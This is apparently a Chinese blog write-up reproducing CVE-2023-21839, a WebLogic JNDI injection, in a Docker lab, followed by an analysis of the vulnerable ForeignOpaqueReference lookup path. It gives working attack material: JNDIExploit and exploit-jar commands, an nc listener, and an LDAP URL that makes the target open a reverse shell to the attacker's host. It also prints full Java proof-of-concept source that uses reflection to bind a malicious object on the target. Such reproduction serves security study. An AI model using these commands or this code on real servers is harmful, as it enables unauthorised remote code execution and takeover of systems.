CVE-2023-21839复现
简介
Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象的getReferent方法,weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在var5 = var4.lookup(this.remoteJNDIName);实现,故可以通过rmi/ldap远程协议进行远程命令执行。
影响版本:
1 | docker run -d -p 7001:7001 |
ifconfig看一下虚拟机对外网的ip
物理机访问
复现
Dnslog:
反弹shell
JNDI工具:
https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4
我们先看一下kali的ip:
172.31.9.255
启动JNDI1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 172.31.9.255
然后kali设置一个监听端口,反弹shell用于接收shell的1
nc -lvnp 2222
开始利用CVE工具1
java -jar Weblogic-CVE-2023-21839.jar 192.168.254.128:7001 ldap://172.31.9.255:1389/Basic/ReverseShell/172.31.9.255/2222
此时我们可以看到kali的2222端口已经收到shell
进入容器检查一下
分析
我们新建一个项目导入poc.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
// 先赋值好用来反射的ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 反射来改变ForeignOpaqueReference的jndiEnvironment
ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(foreignOpaqueReference, env2);
//反射改remoteJNDIName属性
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://172.31.9.255:1389/Basic/ReverseShell/172.31.9.255/2222";
remoteJNDIName.set(foreignOpaqueReference, ldap);
//创建上下文进行lookup查询的weblogic服务器
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
String url = "t3://192.168.254.128:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// 远程绑定构造好的ForeignOpaqueReference对象
c.rebind("jmx0hxq", foreignOpaqueReference);
// lookup查询之前绑定的ForeignOpaqueReference对象
try {
c.lookup("jmx0hxq");
} catch (Exception e) {
}
}
}
这里记得在项目结构里加个依赖,jar包: https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839
我们知道当客户端进行JNDI的查找和获取(lookup)的时候,最后会通过利用WLNamingManager#getObjectInstance
获取我们的对象实例
这里会判断如果远程对象是OpaqueReference类型就调用它的getReferent方法
如果是LinkRef类型会调用它的getLinkName方法
这里是调用远程对象的getReferent()方法,这里的远程对象是ForeignOpaqueReference
我们发现这里的var5 = var4.lookup(this.remoteJNDIName);
,这个var4我们可以通过反射传个jndiEnvironment(private属性)修改,这个remoteJNDIName也是private属性的,也只能通过反射修改
我们尝试复现:
参考:
https://xz.aliyun.com/t/12297#toc-2
https://xz.aliyun.com/t/12452#toc-4
https://okaytc.github.io/posts/942fc3b7.html#0x00%E3%80%81%E5%89%8D%E8%A8%80